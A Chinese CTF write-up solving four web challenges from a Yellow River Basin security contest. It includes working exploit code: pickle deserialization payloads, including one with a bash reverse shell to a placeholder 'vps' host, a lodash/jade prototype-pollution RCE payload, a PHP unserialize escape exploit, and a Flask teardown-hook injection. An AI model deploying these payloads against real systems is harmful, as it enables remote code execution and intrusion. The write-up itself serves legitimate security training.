第二届黄河流域网络安全技能挑战赛Web-wp
myfavorPython
无waf,pickle反弹shell。
import pickle import base64 import os class Exp(object): def __reduce__(self): return (os.system,("bash -c \"bash -i >&/dev/tcp/vps/ip 0>&1\"",)) a = Exp() print(base64.b64encode(pickle.dumps(a)))
Ezzz_Proto
原型链污染反弹shell:
const express = require('express'); const lodash = require('lodash'); const path = require('path'); var bodyParser = require('body-parser'); const app = express(); var router = express.Router(); app.set('view engine', 'jade'); app.set('views', path.join(__dirname, 'views')); app.use(bodyParser.json({ extended: true })); app.get('/',function (req, res) { res.send('Hello World'); }) app.post('/post',function (req, res) { function merge(target, source) { for (let key in source) { if (key in source && key in target) { merge(target[key], source[key]) } else { target[key] = source[key] } } } var malicious_payload = JSON.stringify(req.body); var body = JSON.parse(JSON.stringify(req.body)); var a = {}; merge(a, JSON.parse(malicious_payload)); console.log(a.name); res.render('index.jade', { title: 'HTML', name: a.name || '' }); }) app.listen(1113, () => console.log('Example app listening on port http://127.0.0.1:1113 !'))
跟进到compile处:
compile: function(){ this.buf = []; if (this.pp) this.buf.push("var jade_indent = [];"); this.lastBufferedIdx = -1; this.visitCode(this.node); if (!this.dynamicMixins) { // if there are no dynamic mixins we can remove any un-used mixins var mixinNames = Object.keys(this.mixins); for (var i = 0; i < mixinNames.length; i++) { var mixin = this.mixins[mixinNames[i]]; if (!mixin.used) { for (var x = 0; x < mixin.instances.length; x++) { for (var y = mixin.instances[x].start; y < mixin.instances[x].end; y++) { this.buf[y] = ''; } } } } } return this.buf.join('\n'); },
继续跟进:
visitCode: function(code){ // Wrap code blocks with {}. // we only wrap unbuffered code blocks ATM // since they are usually flow control // Buffer code if (code.buffer) { var val = code.val.trim(); val = 'null == (jade_interp = '+val+') ? "" : jade_interp'; if (code.escape) val = 'jade.escape(' + val + ')'; this.bufferExpression(val); } else { this.buf.push(code.val); } // Block support if (code.block) { if (!code.buffer) this.buf.push('{'); this.visit(code.block); if (!code.buffer) this.buf.push('}'); } },
只需要改val就行了。
payload:
{"__proto__":{"compileDebug":1,"self":1,"val":"console.log(global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps/port 0>&1\"'))"}}
逃跑大师
<?php highlight_file(__FILE__); error_reporting(0); function substrstr($data) { $start = mb_strpos($data, "["); $end = mb_strpos($data, "]"); return mb_substr($data, $start, $end + 1 - $start); } class A{ public $A; public $B = "HELLO"; public $C = "!!!"; public function __construct($A){ $this->A = $A; } public function __destruct(){ $key = substrstr($this->B . "[welcome sdpcsec" .$this->C . "]"); echo $key; eval($key); } } if(isset($_POST['escape'])) { $Class = new A($_POST['escape']); $Key = serialize($Class); $K = str_replace("SDPCSEC", "SanDieg0", $Key); unserialize($K); } else{ echo "nonono"; }
利用它字符串逻辑漏洞和键值逃逸直接梭了:
每次str_replace能换出一个字符位,所以造76个SDPCSEC可以给我们腾出76个字符位。
首先B和C可控,我们将C赋值为1,算上C赋值会贴上去的一个1,原key中的字符串变为
[welcome sdpcsec1]
共18个字符。
那么我们赋值B的前面加上18个1,相当于制造出 -18 的截取,把前面的消掉(虽然也没动为啥可以,PHP就是这么抽象)
,然后写RCE反序列化就可以了,记得外面有个分号。
不赋值A,直接反序列化看后面得到:
";s:1:"B";s:41:"]111111111111111111[system("cat /flag")];";s:1:"C";s:1:"1";}
共76个字符,所以需要输入SDPCSEC共76个造出76个字符位逃逸。本来正规做法应该是把反序列化后的字符串拿去直接改,但是注意到恰好A没有赋值,所以我们直接赋值A也可以。
exp:
<?php class A{ public $A = "SDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSECSDPCSEC"; public $B = ']111111111111111111[system("cat /flag")];'; public $C = "1"; } $a = new A(); echo serialize($a); ?>
Python-revenge
import base64 import io import os import pickle import pickletools import sys from flask import Flask, render_template, request, redirect, url_for, session from flask_login import LoginManager, UserMixin, login_user, login_required, logout_user, current_user app = Flask(__name__) app.secret_key = 'welcome_to_here' # 修改为一个随机的密钥 # 初始化 Flask-Login login_manager = LoginManager() login_manager.init_app(app) login_manager.login_view = 'login' # 模拟一个用户类 class User(UserMixin): def __init__(self, id): self.id = id # 模拟用户数据库 users = {'user_id': {'password': 'user_password', 'role': 'user'}, 'admin_id': {'password': 'asdfghjkl', 'role': 'admin'}} @login_manager.user_loader def load_user(user_id): return User(user_id) @app.route('/login', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] user_data = users.get(username) if user_data and user_data.get('password') == password: user = User(username) login_user(user) session['role'] = 'admin' if username == 'admin_id' else 'user' return render_template('index.html') return render_template('login.html') @app.route('/logout') @login_required def logout(): logout_user() session.pop('role', None) return redirect(url_for('login')) @app.route('/', methods=['GET', 'POST']) @login_required def index(): results = "" if request.method == 'POST': a = request.form['text'] output = io.StringIO() try: decoded_data = base64.b64decode(a) if b'before' in decoded_data or b'after' in decoded_data: results = "不可以添加函数!" return render_template("index.html",results=results) elif b'static' in decoded_data or b'>' in decoded_data or b'|' in decoded_data or b'/' in decoded_data or b'template' in decoded_data: results = "不能写文件嗷!" return render_template("index.html",results=results) else: pickle.loads(decoded_data) with io.StringIO() as file: old_stdout = sys.stdout sys.stdout = file try: pickletools.dis(decoded_data) finally: sys.stdout = old_stdout results = file.getvalue() except: results = "error" return render_template('index.html', results=results) else: return render_template('index.html') @app.route('/register', methods=['GET', 'POST']) def register(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] # 检查用户名是否已存在 if username in users: return "用户名已存在,请选择其他用户名" # 创建新用户 users[username] = {'password': password, 'role': 'user'} # 登录新用户 user = User(username) login_user(user) return redirect(url_for('index')) return render_template('register.html') if __name__ == '__main__': app.config['SESSION_COOKIE_NAME'] = 'session' app.run(host='0.0.0.0', port=5000)
不出网,还有blacklist,所以写文件到/app/static/flag.txt。
翻阅源码的钩子函数,找到个teardown_request,这个函数会在每次request后执行,即使抛出异常也会执行(在debug=False)的情况下,简单构造一下:
app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))
import pickle import base64 class Exp(object): def __reduce__(self): return (eval,("app.teardown_request_funcs.setdefault(None, []).append(lambda error: os.system(base64.b64decode('Y2F0IGZsYWcudHh0ID4gL2FwcC9zdGF0aWMvZmxhZy50eHQ=').decode()))",)) a = Exp() print(pickle.dumps(a)) print(base64.b64encode(pickle.dumps(a)))
参考: